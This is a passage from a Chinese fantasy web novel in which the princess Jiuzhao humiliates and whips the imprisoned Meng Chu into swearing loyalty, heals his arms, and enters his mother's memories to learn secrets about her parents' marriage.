信件零零散散,数量不多,时间跨度很长。 不知是杏杳刻意筛选保留,抑或本是如此,他们交流均围绕祝晏来展开。 早前,是杏杳这方发出的,有关弱症的一些诊断和叮嘱。 自祝晏下界修补登天阶以后,崇黎主动写来的书信就多了不少。 将它们仔仔细细看完,九昭方明白,为何杏杳称祝晏的母亲才是崇黎的毕生所爱。 和对待孟楚的溺爱纵容不同,书信里的崇黎更接近于凡俗意义上的慈父。 人间一日,天上一年,下凡百年,他时常关心祝晏。 字里行间,不乏诸如“烦请转告吾儿,天寒天暖,勿忘加减衣衫”之类的叮嘱。 以及一些,他朝祝晏弱症得愈,天高海阔,鹏程万里的期许。 最后两封信,终于说到了孟楚。 看样子,还是杏杳率先提起。 她写到:九昭神姬已练成涅槃凤火,祝晏公子的弱症治愈在望。 至于孟楚世子那里,虽则他双臂残废是你同业尊商定后迷惑神帝的结果,可既然涅槃凤火能治好弱症,那么替孟世子楚重新接骨续脉,想来也并非难事。你是否要和九昭神姬商议看看? 她难得为崇黎的另一个孩子着想。 却得到崇黎冷漠的回应:罢了,多一事不如少一事,大计成功在即,我可不愿打草惊蛇。 更何况,棋子而已,不必在意。 棋子而已。 不必在意。 纵使厌弃孟楚,此时此刻,九昭也禁不住涌起物伤其类的感怀。 桃林事变结束,作为被北境抛弃的一支,北神王妃连同她亲族皆被囚禁在二清天神王邸中,而流淌着崇黎血液,此前又颇得他疼爱的世子孟楚,则被视作重点监视对象,关押于司罚上神管辖的不见天仙狱。 要如何处理他们,九昭总会有些头痛。 论理,他们被密谋二次反叛的崇黎排除在外,似乎并无大错。论情,北神王妃与其家族,几万年前却曾毫不犹豫地跟随崇黎,一同倒戈焚业海,又非全无错失——更别提,孟楚和她之间还有私人恩怨。 但不管怎样,三清天都不可能再接纳九尾狐族。 如今留下来的他们势单力孤,就算九昭下令斩草除根,也不会有人提出异议。 思来想去,犹豫良久。 或许是与之有过共同的,被父亲当成棋子的经历。 又或许,三清天眼下战力短缺,多一名金仙加入也是不错。 九昭没有下达屠戮的旨意,决定先去仙牢看看,孟楚是否还能够“废物利用”。 …… 不见天仙狱,顾名思义,便是“不见天日”。 它同无日渊的囚牢同期建造,一个为外狱,一个为内狱。 无日渊外狱关押已经判处罪大恶极的孽仙孽臣。 而不见天内狱,则用来关押犯错但还没有裁定罪名的神仙。 九昭由嶷山上神亲自带领,移步来到对应的囚牢时,孟楚躺在杂乱潮湿的衰草间,身上穿的还是赴宴的礼服,内狱设有阵法,仙力受限,他无法使用清洁术,礼服的下摆灰扑扑的,他人亦是蓬头垢面。 跟芸生世街边要饭的乞丐无疑。 见到九昭到来,他似是万念俱灭,并不起身行礼,反而翻将过去,沉默相对。 九昭也不生气。 她尽量无视萦绕在鼻尖的浓郁臭气,侧头吩咐道:“嶷山上神,把牢门打开吧,本殿要进去。” 嶷山垂首顺从。 机括松脱咬合的咔哒声响起,牢门幽幽开启。 孟楚仍然一动不动,对九昭前来是要放了自己还是放了自己毫不关心。 九昭偏了偏下巴,示意嶷山先行退下。 嶷山却有些不放心:“殿下,不如让臣守在这里护卫您的安全。” 九昭故意激将道:“嶷山,本殿看你是忧虑太过了,区区一个残废,便是手臂完好的时候,也不过本殿的手下败将,眼下像条死狗一样躺在这里,还能起什么风浪?” 这话说得十分难听,连素来缺少面部表情的嶷山也不禁蹙起眉头。 九昭更是注意到,原本死水一滩的孟楚突然动了动。 虽然幅度很小,架不住空间寂静,垂落衣摆与衰草摩挲带来的窸窣动静,便显得刺耳异常。 看来,他的内心也不似表面上的那般彻底放弃抵抗。 被辱及尊严,还是会产生不甘隐忍的反应。 这样就好。 至少还有尝试一下的必要。 待嶷山退出囚牢,高大身影消失在甬道尽头。 九昭提起裙摆,对准侧躺在地的青年腿弯,狠狠踢了一脚: “这副半死不活的样子,是想做给谁看—— “喂,想不想知道在你父亲崇黎眼里,你和你的母亲究竟算什么东西?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 150-160 151| 第151章 ◎“愿为殿下肝脑涂地。”◎ 牢房内唯余彼此, 在九昭不懈的羞辱之下,孟楚终于有了点反应。 嘶哑如同砂砾相互摩擦的声音,从他被黑发遮面的口中发出, 沉闷不见活人气:“殿下如今大权在握, 春风得意,怎么还有兴致贵步临贱地,再来痛打一次我这条落水狗?” “你没听见本殿刚才的话吗?” 九昭反问。 意识到对方无论如何都要戳自己的痛处,孟楚扯了扯唇角, 似笑似嘲:“打从被抛弃的那日起,我便已经没有父亲了——一个陌生人的看法,与我和我的母亲何干?殿下不必白费口舌, 要杀要剐请便。” 九昭懒得跟他废话,随手一抹。 仙光闪过,储物戒顿时吐出十来封书信。 她将这些书信一股脑砸到孟楚身上,冷笑道:“除了强撑面子告诉自己, 不是崇黎不要你们母子, 而是你们率先舍弃了他以外, 你还能做成什么事呢?你不过一双手臂废了,就要死要活, 从前祝晏随时可能会死都没有自暴自弃, 他的坚定心智,再对比你的这副废物样子, 也难怪崇黎会选择他不要你!” 随着九昭话说得越来越难听, 孟楚额头颈项迸起的青筋也越来越分明。 愤怒和悲痛压倒理智, 冲昏头脑的刹那, 心里某道声音在大吼着:反正已经没有了北境, 没有了北神王, 他再没有可能站到几人之下万人之上的位置上去,与其伺候都是阶下囚,不如豁出去死了干净! 放弃思考,放任灵魂沉沦在绝望中,他不管不顾叫骂起来:“九昭,你这个贱人!!” 孩童手腕粗细的铁链自地板长出,将他的双手双脚通通锁住。 孟楚却凭借一股不知哪来的力气翻坐起来,想要扑过去和九昭同归于尽。 “贱人、贱人!要不是你,我怎么会沦落到这种地步! “你若不杀了我,我就杀了你!!” 可笑。 多日不见,还是这副不敢责怪始作俑者,只好迁怒旁人的德性。 她不介意来帮他醒醒深知。 九昭退后一步,掌心凝结出打神鞭淬着火焰的鞭柄。 啪! 凌厉的破风声骤响,孟楚骂道半截,胸膛生生受了一鞭,本就脏污的外衫登时四分五裂。 痛楚,在多数情况下,会叫人胆怯求饶。 可在某种境地里,却会激发落败者的凶性。 孟楚红了眼,直视储君面孔的眼神向上抬起,恶狠狠的,不肯退缩: “我骂错了吗?贱人、贱人,我早就想这么骂你了!你不也只有这点本事,来到牢狱里讽刺讽刺我个残废吗!祝晏利用了你,兰祁伙同巫劭要杀了你,你有本事,有本事就去报复他们啊!贱人!” 啪! 又是一鞭毫不留情地落下。 “哈哈哈哈哈哈哈哈——这鞭子打得更重了,疼死小爷了,可越疼就越说明你气急败坏恼羞成怒!” 啪! 啪! 啪! “有本事你就打死我! “我被父亲抛弃,你被男人抛弃,你以为你就比我高贵吗!! “九昭神姬,可怜虫!!!” 孟楚骂一句,九昭就落下一鞭。 到后来,他被抽得满地乱爬,嘴里渐渐顾不得说了。 他尖刻的话音亦如另一道无形的鞭子,落在九昭身上。 只是顶着如山压力,罅隙独行这段时日,她开始学会如何克制愤怒,不让心魔进一步侵占自我。 面无表情到近乎漠然,在孟楚软瘫于地,四肢抽搐,奄奄一息之际,九昭才停止手上的刑罚。 半蹲身体,将脚边信件准确无误砸上青年脸庞,她轻声问道:“现在有空看信了吗?” …… 接下来的一炷香时间。 孟楚像是被驯服了的野狗,老老实实集齐地面的书信。 信件的外皮上,九昭给他依次标注了数字。 他的识相无中生有地冒了出来,没等九昭命令,就迅速排布好前后顺序,一封一封阅读起来。 数字慢慢变大,他布满鞭痕的身体,颤抖的幅度也跟着加大。 看到亲生父亲评价自己为“棋子而已”时,九昭耳边涌入一道极其压抑的怪声。 她起初以为是面子比天高的孟楚,被气得牙关打颤发出的声音。 可仔细听下去,齿关上下不断磕碰的动静以外,还有阵阵努力克制的哽咽。 孟楚竟然落泪了。 就算往昔他用神后的死因编排九昭,被崇黎当众狠扇耳光,差点去了半条命,他也没有流过眼泪。 但这次,他再也忍耐不住。 当着九昭的面孔,嚎啕大哭,彻底崩溃。 “这么多年了,这么多年来,我究竟、究竟算什么? “难道对我的好,说我是他最骄傲的儿子,全都是假的吗? “为什么要这么对我,为什么要这么对我的母亲啊,父亲——” 大颗大颗滚烫的泪珠滚落下来,濡湿了孟楚的黑发,也濡湿了他和祝晏一脉相承的碧绿眼睛。 他哭得弯曲跪倒,整具身体蜷紧。 九昭没再口出嘲语,伴着孟楚绝望的泪声,她又一次出现感同身受的情绪。 从痛哭流涕,到对着空气质问诅咒,再到彻底认命,真正心如死灰地安静下来。 见气氛差不多了,九昭正想将此行的目的继续进行。 却见他佝偻的身躯倏忽挺起,膝行到她的鞋前,重重磕落三个响头。 砰砰砰! 额头大力撞地的闷顿声响惹人心惊。 不等九昭开口,他用仿佛死过一回的语调,缓慢而执拗地说着:“大梦经年,也该醒了。殿下既然不计前嫌,叫罪臣做一回明白人,必定对罪臣心存指望。罪臣甘愿从此以后受殿下驱使,只求殿下保全家人。” 九昭没有因为他看似大彻大悟的言辞,便立刻缓和颜色。 她提醒着他:“你现在不过一个残废,本殿能指望你什么?” 闻言,孟楚的头颅俯得更低了些,恨不得钻进地缝以示臣服与卑微。 见他终于认清楚自己的现状,九昭方话锋一转:“本殿只问你一句,若本殿有把握为你治好双臂,你是否敢拼上性命,去迎战你倒戈的父亲兄弟和焚业海的魔族,去夺回北境,夺回本属于你的神王之位? “你不用很快回答本殿的问题,毕竟大义灭亲也不是人人都能做到。” 开了个好头,九昭没有逼得很紧。 她相信循序渐进,天长日久下去,二清天还囚禁着他的母亲和亲族,孟楚总会想明白选择哪头。 撂下话,她抱起手臂,转身离去。 抬步迈过牢狱的门槛时,身后丈外又是沉重的磕头声。 “罪臣,愿为殿下,肝脑涂地。” …… “嶷山,把孟楚和北神王妃一族都放了吧,待孟楚的双臂治好后,本殿会将他派往边境战场。” 离开不见天内狱,迎着三清天明净负暄的日光,九昭对身后随臣下达旨意。 嶷山颇为不解:“殿下,他们是崇黎和妻室和儿女,他朝战场相见,万一倒戈怎——” 话未说完,九昭抻了抻手臂:“你的顾虑,本殿当然明白。只是上神你独身修行万年,无牵无挂,也就不会明白越是看似割舍不断的关系,到了真正需要割舍断绝的地步,随之涌现的恨意也会越发强烈。 “本殿有预感,这些被崇黎抛弃的人若用得好,会成为我军在战场上的一大助力。” 关于这点,九昭说得没错。 北神王妃与崇黎夫妻多年,跟随他出生入死。 不管倒戈还是归顺,她都一如既往陪伴在他身边。 她不仅十分了解崇黎个性,自身实力在北境也算数一数二。 所谓知己知彼,百战不殆。 这支连同孟楚和北神王妃在内的数百人遗留部族,要是能够用上,便为收复北境增添了不少胜算。 把事情利害分析清楚,嶷山已自发站在九昭一边。 他最后为九昭着想道:“殿下,此等利大于害的决策,若与群臣商议,料想也不会有人反对。” 九昭却摇头道:“不必。” 152| 第152章 ◎“过往的秘密。”◎ 介于揪出内鬼的事情, 九昭处理得准确且雷厉风行。 这一回释放孟楚和北神王妃,虽有臣子提出异议,很快也顺从于九昭的决定。 北境沦陷, 神王叛逃。 孟楚母亲烈晴的神王妃身份名存实亡。 九昭下旨, 黜烈晴神王妃尊号,以部族首领之名,统管被遗留下来的黑狐一族——软禁北境遗民于二清天神王邸的禁令被撤销,从不见天内狱归来的孟楚, 也得以回去和自己的母亲族人共同生活。 另一边,在杏杳自刎的当夜,扶胥便秘密回归北境。 为了不使后续万一出现纰漏引人联想, 他对外只道自己需要闭关疗伤几日。 各自忙碌一段辰光,九昭终于收到他传来的仙讯。 里面写到上次提过的,能够暂时遮掩魔化特征的东西,自己已有眉目。只是炼制出炉需要耗费七日时间, 料想七日之后, 殿下的眸色便能变回漆黑, 如此也可放心撤去白绸。 事情在往好的方向发展,九昭心安不少。 有过替祝晏治好弱症的经验, 她特地挑选了个休沐不议事的日子, 施展涅槃凤火为孟楚治疗。 不知是孟楚于她而言没那么重要,还是双臂残废相较先天弱症程度尚浅。 这回的治疗过程, 九昭感觉到轻省了许多, 不再有过去那种身体被掏空的吃力体验。 赤色的炽热火光笼罩在青年打坐的双臂之间。 空气亦开始不断升温。 寻常医仙治疗伤患病人, 所施展的仙力, 往往清凉润泽, 令人倍感舒适。 而九昭不同, 她的力量霸道而灼烈。 孟楚只觉自己仿佛化作了一块没有知觉的铁疙瘩,被高温烧软,被九昭的仙力搓扁揉圆——她不明白温柔为何物,粗暴地冲击着他因断裂而枯萎的手臂脉络,将它们用力拓开,再像楔木头般连接在一起。 “痛、真的很痛,殿下……求求您轻点。” 发誓为父亲的抛弃痛哭过一回,往后余生再不落泪的青年,一壁讨饶,一壁没出息地眼角湿润起来。 这种痛跟心情无关。 是硬生生腾出来的。 而九昭冷漠的回应,让他的身心痛上加痛:“忍着,这才是个开头。” …… 整整三个时辰。 孟楚被折磨得涕泗横流。 待九昭收回仙力,轻描淡写告诉他成功了以后。 他整个向后仰倒,软瘫在蒲团上,像一坨被雨水冲开的烂泥。 “试试吧,召唤你的本命仙器。” 对待本质上还是看不顺眼的人,九昭没那么多耐心。 她站起身,又踢了闭目近乎昏迷的孟楚一脚,和往昔唯一的区别是稍稍收了力道。 缓了几息,未排空的高热仍在体内横冲直撞。 孟楚哼哼两声,凭借惊人的意志力睁开眼睛,而后双手结印,默默召唤起武器。 先前他手臂被废,烈晴用尽方法,托了许多关系,也仅仅叫他恢复到可以勉强使用末流仙术的地步。 譬如清洁术、移物术、飞空术等等。 想要唤出本命武器,再上战场和敌人斗争却是根本不可能。 与浑身充满力量的状态暌违已久,能够再度凝结武器,孟楚手抖个不停,仿佛初次学习走路的稚童。 长剑生光,金芒烁烁。 四散流淌的仙灵照亮了以供两人独处的静室。 孟楚一骨碌翻身坐起,倒提着剑柄,兴奋地当场耍了一套剑法。 九昭退后几步,留给他发泄心绪和精力的场地。 通过剑术的施展,她发觉孟楚也没有想象中的那么资质平庸。 起码基础打得不错,从稳定不晃的下盘和灵活多变的身法里,就能看出来着实下过一番功夫。 她对孟楚的印象稍稍改观了点。 消化完失而复得的喜悦,孟楚收剑再度跪倒在九昭鞋前。 若说不见天内狱里的一番对话,下跪宣誓效忠只是无可奈何之举。 那么在九昭信守承诺,替自己治好手臂过后,青年的面上才真正有了臣服的意味。 他肃穆叩首,拜谢道:“殿下大恩,臣孟楚无以为报,愿意立下血誓,终生跟随殿下。” 用嘴宣告忠诚,总显得没那么真心。 更何况,九昭曾与他有天大的过节,还是未来神帝。 孟楚实在想不到其他更好的,能够叫她不计前嫌,重用自己和母族的方式,唯有以生命起誓。 绝对忠诚的血誓生效之后,也为他接下来要说的秘密增加几分可信度。 孟楚是如此思忖并付诸行动的。 谁料九昭不安常理出牌。 她想也不想摆手,说了句:“不必。” 治疗既已结束,孤男寡女便没有独处一室的必要。九昭转身朝着大门欲走,嘴上继续道:“神王邸还有你的几百族人,想要彻底放心,难道叫他们挨个过来与本殿立誓吗?那未免也太过兴师动众了。” 有过杏杳拼着放弃生命,也要说出真相内容的前车之鉴。 象征绝对可靠的血誓,于她看来,不足以全然信赖。 不欲孟楚今后再在自己的耳边饶舌,九昭顿了顿,索性把话一次性说明:“另外,本殿只是在父神昏迷期间代掌三清天事务而已,等到他醒来,一切都要交付回去。你们立誓追随我,落到旁人眼里成什么了? “他们定会认为我有不愿父神醒来,取而代之的不臣心思。 “本殿虽是储君,但‘储’字在前,也仅是臣子而已。” 生性骄纵散漫的神姬,却说出这样一番“恪守本分”的言语。 两厢落差之大,直叫孟楚陷入沉默。 可神帝是神帝,九昭是九昭。 孟楚从母亲那里得知了神帝杀伐无情的生性——倘若他醒过来,那么黑狐一族的命运难以估计。 唯有牢牢抱紧九昭这棵大树,他们才有重新崛起壮大、扶摇直上的机会。 摇摆几息,孟楚咬牙坚定自己的心思。 他眼见九昭双手放在门上,即将推开离去,立即用踌躇的语气说道:“这几日臣与家母商议,本想绘制一份详尽的北境兵力分布图献给殿下,却意外从母亲口中听到了一些她生活在焚业海时期的往事—— “殿下如此看待自身的位置,倒叫臣疑虑该不该提起。” 生活在焚业海时期的往事? 什么往事烈晴会隐瞒了几万年不提,如今又迫不及待提起。 九昭似有所感地挑了挑眉:“是有关父神?” 孟楚又是一番沉默。 他用犹犹豫豫的态度,来婉转向九昭表明事情的严重性。 也罢。 站在门口回头倾听,的确不是什么认真谈话的模样。 九昭抬手,仙术屏障朝四面八方蔓延。 她走了回去,双手交叠予腹,缓缓坐落在静室石台横凸的边沿。 孟楚维持着下跪的姿势,转身挪到她跟前:“殿下,臣接下去要说的话,您可能一时半刻无法接受,但请您一定要相信臣没有说谎,也并非挑拨您与帝座之间的父女感情。” 他说完这话,悄然抬眼去观察九昭的神情。 可惜,白绸挡住了最直观展现情绪的双眼,他只看到九昭从始至终便绷紧的下颌轮廓。 没有勃然大怒。 没有施术惩罚。 九昭淡声道:“不用预设这么多逃避罪责的说辞。 “你既然敢告诉本殿,就应该做好我会做出任何反应的心理准备。” 孟楚苦笑一声。 他总以为九昭是骄傲的、感情的、经不起半点浪打风吹的。 而此刻在他面前,却呈现出绝对的理智。 理智到—— 他恍惚瞧见了另一个性别的神帝。 “……只是臣堪堪从被欺骗万年的亲情美梦中苏醒,将心比心,不愿您他朝再承受和臣一般的痛苦。” 他静静俯首下去,似乎不对视就不用承受山岳一般的压力。 “过去,臣的母亲,并不拘泥在后院争斗中。 “她跟随父、重黎南征北战,特别是在对抗三清天期间,还做过九尾狐军的副帅。 “得益于朝夕相伴,那时候崇黎同她,还不似现在这般话不投机半句多。 “他们会讨论作战的计划,会商量军队的排布,崇黎还会说起,和巫劭喝酒夜谈间听到的秘密。 “是关于帝座、神后殿下和巫劭三人之间的。 “殿下不让臣立血誓,母亲猜到这点,也交代过,她在二清天等您,您可以直接进入她的灵台翻阅过去的记忆——记忆藏在识海深处,从来做不得假,这是另一种不那么‘兴师动众’的办法。” 孟楚由头至尾说完。 没听到九昭的回答,并不敢抬头去看她。 他驯顺等待着九昭说出“去”与“不去”,九昭却又一次近乎未卜先知般,垂眸问道:“你的母亲,想告诉本殿什么?是不是想说,打从一开始,本殿的父神母神相爱,就出于人为算计,而非命中注定?” 事涉敏感,在未亲眼见证事实前,作出任何主观的评价都存在触怒对方的可能。 他想了很久,才用极慢极低的语气回应道:“其实帝座对待殿下,总归是真心实意的,若选择把父辈们的往事遗忘在风中,便不会影响到您和帝座的关系——这所有的一切,全凭殿下认为哪一方更重要。” 153| 第153章 ◎“不过如是。”◎ 哪一方更重要。 孟楚的话, 给九昭出了个实打实的难题。 不必去找烈晴确定,从他欲言又止、吞吞吐吐的态度,九昭便知等待着自己到来的秘密背后, 隐藏的绝不会是什么好事情——如果真相注定是不堪的, 那么,她还会愿意开启吗? 九昭扪心自问。 却无法给出明确答案。 她告别孟楚,若无其事度过三日,只是夜夜独自待在寝殿, 翻看杏杳交给她的《岐黄禁术志》。 有关迭命术的内容描述不多,杏杳提到了大部分。 而剩下的小部分,九昭则通过文字记载得到。 不管人、仙还是魔, 都有各自的命途轨迹。 逆天而行,或是损人性命运数来利己的法术,便被称为禁术。 迭命术涉及第二类,为了防止位高权重者为自身利益戕害他人, 早在万年前, 就被上任神帝明令禁止。且不管是是施术者还是受用者, 迭命术都只能使用一次,倘若出现第二次, 天道会立刻降下天谴。 虽然换命的人选有三, 但思来想去,九昭还是决定自己上。 神帝中的是巫逐之毒, 而巫逐在死之前, 就已经爱上了她。魔族伤害性质的法术, 对于爱侣无效, 她是亲眼见证过的——基于这层保护, 说不定她也可以悉数化解自父神体内吸收过来的剧毒。 不过计划一旦开始实行, 谁都没有完全的把握。 要是毒性依然生效,她会如同父神那般昏迷不行下去—— 起码在这之前,应当把应该了解的事情都了解清楚。 不要给本就已是诸多遗憾的人生,再留下更多的遗憾。 三日后午间,九昭结束集议,前往二清天神王邸,寻找黑狐族长烈晴。 这位上得战场,下得厅堂,以悍妒出名的前神王妃。 在经历过儿子残疾,夫君背叛后,心性远远不复从前。 九昭被侍奉在前庭的女婢指引,通往后院花园时,她正弯着腰,手拿一把银剪,侍弄花草。 耳闻由远至近的足音,她下跪朝九昭行叩拜大礼:“臣黑狐族长烈晴,拜见神姬殿下。” 九昭弯腰去扶:“族长不必如此。” 烈晴却坚持叩首三次:“若非殿下不计前嫌,出手治好楚儿,只怕他余生都会一蹶不振,颓废下去。” 她抬起头,眸光闪烁着属于一位母亲的真切感激。 似乎再如何骄矜自傲的人,在面临儿女问题时,都愿意放下身段,将自己低到尘埃里。 九昭心中不免动容。 可转瞬忆及自己到来的目的,又情不自禁有些黯然。 见对方温和的面孔于无声中变得紧绷,烈晴识趣保持沉默。 她将九昭引到一处偏僻的茶室,接着开口屏退侍奉之人。 将大门牢牢闭紧,再开启仙术结界,她方与九昭面对面坐下:“殿下,楚儿已和臣提前说明您今日到来的目的,事关帝座神后,臣恐言辞有误,不能清晰转达,恳请殿下直接探出仙识,进入臣的记忆。” 神仙一身仙肌玉骨,无需使用法术,自有一层基础防御。 除非简单粗暴的实力碾压,否则外人想要读取记忆,在意识侵入体内的须臾便会受到激烈的抵抗。 且意识只要成功进入,接下去如何行事,就不受被入侵者控制了。 或许隐藏起来,不愿为人所知的阴暗面也会被窥视个一干二净。 烈晴这样做,不仅向九昭表明一切确为真相,自己没有说谎,更是宣誓再无秘密,献上全部忠诚。 九昭很满意她的态度。 地位不同,阅历不同,手段的确比孟楚那个稚嫩青年更加老练。 她移开茶案,令烈晴跪坐在面前,自己则挺直腰,伸出食指,点在烈晴的额心。 仙识与灵台畅通无阻链接,九昭眼前一暗,沉入如海般的记忆。 …… “真是晦气,自打嗣辰将太婀带上战场,业尊连下达作战计划都变得犹犹豫豫。” 黑暗尚未完全散去,崇黎低沉的抱怨先行传入耳际。 四周十分安静,唯余火焰吞噬木柴发出的噼啪动静。 像是沉到了水底,失重的状态消失,九昭脚尖轻轻一蹬,则触碰到了坚实的土地。 这和被魇术拉入梦境的际遇不同。 九昭意识回笼,发觉自己正站在模样更加年轻的崇黎和烈晴中间,而他们围着篝火自顾自聊天。 对于外来者的擅闯一无所知。 探出手掌,九昭可以感受到火舌摇曳的温度,还能听见帐篷以外,夜风穿行的呼啸声。 不是没有实体的灵魂状态,和人挨得太近总有些别扭。 她后撤几步,寻了个放着箱柜的角落抱臂斜倚。 见烈晴信手拨弄着自己小股编织的黑发,漫不经心询问:“你刚从业尊的王帐出来,他说了什么?” “还能说什么,无非是开头沉着脸不停喝酒,过了会儿又警告我们要小心,不要伤害到太婀的性命喽。 “要我说,嗣辰也真是个小人。 “眼见三清天节节败退,就想用女人来限制业尊。” 崇黎喝多了酒,嘴上失去把门。他言语间对太婀的不以为意,叫烈晴停下绕发的动作,提醒道:“你别一口一个女人的,太婀贵为凤凰女君,又是司火之神,真打起来,你可不是她的对手。” “嗐,你怎么长他人志气,灭夫君威风!” 崇黎语气虽是责备,却笑着凑过去,往烈晴脸上轻拧一把。 不过一息,又被自家身手敏捷的妻子反过来狠狠捶了一计,龇牙咧嘴地揉着侧腰道,“没有叛出三清天前,那帮神仙个个都说嗣辰对太婀情深义重,发誓为她终生不另娶,私底下还偷骂太婀是红颜祸水。我冷眼旁观了这些日子,又从业尊那里零星听到几句,总觉得不是那么回事——” 看着崇黎扭曲到滑稽的面色,烈晴抿唇轻笑,问道:“怎么说?” “业尊告诉我,涅槃凤火想要发挥出媲美元初之火的最大实力,必须得两位双生子结合。只要成婚结契,夫妻之间就可以暂时调取另一人的真血力量,强化自身。 “他原以为自己和太婀,是历任族长中天赋最出众的,在一起后定能使凤凰族的荣光更上一层楼。 “可作为两人好友的嗣辰,却早在学宫修习时,便背着他偷偷私会太婀,引得太婀情根深种。 “不光光如此,他一面跟太婀相好,一面又在暗处各种为难业尊和凤凰族。 “可以说业尊之所以会堕魔,一大半的原因来源于嗣辰的心机逼迫。” 听完崇黎声情并茂的讲述,烈晴皱眉:“嗣辰这么做,太婀知晓,怎么还可能愿意和他在一起?” “这就是那竖子的高明之处,叫业尊有苦难言,又令太婀无从发现!” 从篝火上方的长方架子里取出微烫的酒瓶,崇黎叫骂着继续喝下一大口,“要我说,他对太婀算什么真爱,无非是忌惮双生子结合后获得的力量,会威胁到他的神帝之位罢了!对外若不装的情深义重些,如何解释他明知凤凰族令,还要不管不顾迎娶太婀的行为!” 烈晴不说话了。 同为女子,耳闻太婀有可能发生的遇人不淑,她眼中涌起些许复杂的神光。 结发多年,崇黎以对她大事豪迈,小事细腻的性子有几分了解。 他干脆将瓶中余酒饮尽,热烘烘的年轻身体挨了过去,手臂紧紧揽着烈晴薄甲下纤细的腰肢,对她说道:“阿晴,我不是嗣辰那等心机深重的小人,和你结发为夫妻,我就会一生一世对你好,不管后面出现什么人,你都是我的正室,我的妻子,你生的孩子也是九尾狐族未来的主人,我向你发誓!” 烈晴侧首,嗔了他一眼:“这还是在军中,你搂搂抱抱的成什么体统!” “我抱我自己的婆娘,又没抱他们的,别人才犯不着来说我……” 崇黎的声调低了下去,嘀嘀咕咕的活像受了委屈的孩子。 配上那张俊朗且诚挚的面容,足以融化所有女人的心。 烈晴揩过眼角,被他逗得噗嗤一笑,攥起拳头来警告道:“我姑且信你一次,陪着你连三清天都叛了,若非我的苦心劝说,父亲长老他们也不会支持整个九尾狐族自立门户—— “我为你做出这么大的牺牲,你要是来日负了我,我定取你的项上人头!” “不敢不敢,好阿晴,以后我有多大的权力,你就享多大的尊荣!” …… 月上中宵,爱侣了却公事,闲聊渐入呢喃私语。 九昭撩开帘帐,缓缓走出帐篷,外面的情形烈晴并未经历,仅是一片空白虚无。 九昭等待抽离仙识,回归到现实中去。 这一趟,没有白来。 她进一步收获了涅槃凤火的秘密,还有巫劭对于父神母神成婚动机的猜测。 他定是发现了什么,否则不会说出如此不负责任的话语。 那么,猜测中的真实部分,究竟占据几分呢? 九昭深呼一口气,试图让胸腔内那块闷痛不止的血肉好受些。 她梳理回顾着方才对话的重要内容。 耳畔却突然响起崇黎对于烈晴一生一世的承诺。 所谓信誓旦旦,不思其反,不过如是。 154| 第154章 ◎“每个人都会有外界不解,但坚持到底的事。”◎ “殿下, 夜色已深,您怎么过来了?” 当夜,轮到丹曛职守。 她负手侍立廊下, 却见昏暗的远处缓缓走来一道身影。 “不知怎的, 夜晚看书时,突然回忆起父神手把手教我写字的辰光,所以想来看看他。” 未着冠服,九昭只穿了件杏子黄的薄衫。 天风挡过, 裙袖满灌,仿佛娇嫩不堪攀折的蕊瓣。 自打成为真正拥有权力的储君,为显沉稳, 九昭的朝服常衣多选用赭红、深青、松石绿等颜色。 如今被明亮暄妍的色彩点缀着,于烛影憧憧间,丹曛恍惚以为回到了过去。 隐去“储君”这个沉重的名头。 九昭还是那位身份高贵,且无忧无虑的神姬。 她被神帝奉为掌上明珠, 千般疼万般爱, 每走一步路都蹦蹦跳跳的, 像只天不怕地不怕的小雏鹰。 可那不疾不徐,泰山崩落亦不会仓皇失态的足音, 又很快将丹曛拉回现实。 几个晃神, 九昭已拾阶而上,站在她面前:“丹曛姑姑, 为我开门吧, 我想进去独自陪陪父神。” 沿用的儿时称呼, 令年长女官的情绪在幻想与实情中来回切换, 最后无端心口一软。 她屏退四周宫人, 亲自为九昭打开殿门。 在对方抬步跨入门槛时, 忍不住低声关怀:“殿下,更深露重,今后漏夜出行,记得多添件衣——帝座未知何时才能苏醒,您是整个三清天的主心骨,定要处处留意,好好照顾自己。” 九昭转过头来,冲她微微一笑:“好,我会记得的,丹曛姑姑。” 只是最能传递情感的眼睛被白绸遮盖,使这温情的时刻莫名少了些许人气。 …… 那日捕捉内鬼的行动结束,九昭便开启了三清天内的神术禁制。 淡淡的神力威压流淌在空气之中,不必担心被人偷看偷听,九昭顺势解开白绸。 她落坐床沿,用猩红瞳孔一寸一寸审视自己父亲的面容。 失去医术出神入化的杏杳,纵有神力不间断地支撑,神帝依旧日复一日地苍老虚弱下去。 躺在床榻上这个,两鬓白发丛生,眼角细纹如丝的男人,和她记忆里英姿勃发的父神相距甚远。 九昭想起两日前有医官私下来禀,说南神王坚持为神帝输入神力,已出现损伤神魂的迹象——可她不愿假手他人,还道自己不善战斗,唯一身医术堪用,其他上神应当存蓄实力,以待来日在擅长之处尽心。 南神王的付出沉默,其背后萦绕着的情愫,更是无息无声。 父母恩爱的情状之外,陡然插入个无悔守护的第三者。 若放在从前,无论对方再怎么不求回报,九昭眼底揉不得沙子,总会觉得膈应异常。 而今,她却生出丝丝缕缕的同情和内疚。 静静坐了片刻,释放清洁术为神帝涤净躯体,又从头到尾,一点一点,细致地掖住翘起露出空隙的被角。九昭混乱的心,在重复性的、不需要思考的动作,和涉及南神王的心绪牵引下,逐渐变得平静清明。 “每个人都会有外界不理解,但坚持做到底的事。 “南神王有。 “女儿也有。” 轻声说完,九昭扣住神帝的腕脉,尝试着分散仙识,进入他的身体。 或许因为九昭本就是自己的半身血脉,昏迷中的神帝没有一丝不适和抗拒。 九昭操纵仙识迅速游走,远远查看一番被暂时封锁在下腹处,但如蛛网般朝四周不断蔓延的烛龙毒,又顺着脉络向上,朝位于额心,对神仙而言的灵台前进。 奈何顺利穿过颈项血脉,再往上,异物试图靠近灵台的行径,引发了神躯的被动反击。 它们不再是温和包容的,远比九昭仙识强大数倍的神识拧成一股,如利剑般狠狠刺来,驱赶她离开。 害怕仙识受损,更害怕弄伤父神,九昭赶紧退了出来。 她用手攥紧前襟,尽量无声地平复呼吸。 烈晴的话言犹在耳,她说最清楚真相的唯有帝座,其他捕风捉影的信息,不管真的也好假的也罢,只会不停增加殿下内心的怀疑,与其在无数个怀疑和揣测中消耗心志,不如让一切尘埃落定。 让一切尘埃落定。 眼下父神昏迷,便是好时机。 不用过激的手段,仅仅查看记忆,不会对人造成伤害。 这个前提的存在,促成九昭的到来。 直接分散仙识,进入灵台的办法失败,九昭没有立即离开,她牵挂着神帝,一面观察被仙识进入过后,他的情况变化,一面思忖起其他可靠的途径。 思来想去,念头便正当的仙族法术,偏到了魔族的秘技上。 魇术。 兰祁曾对她用过。 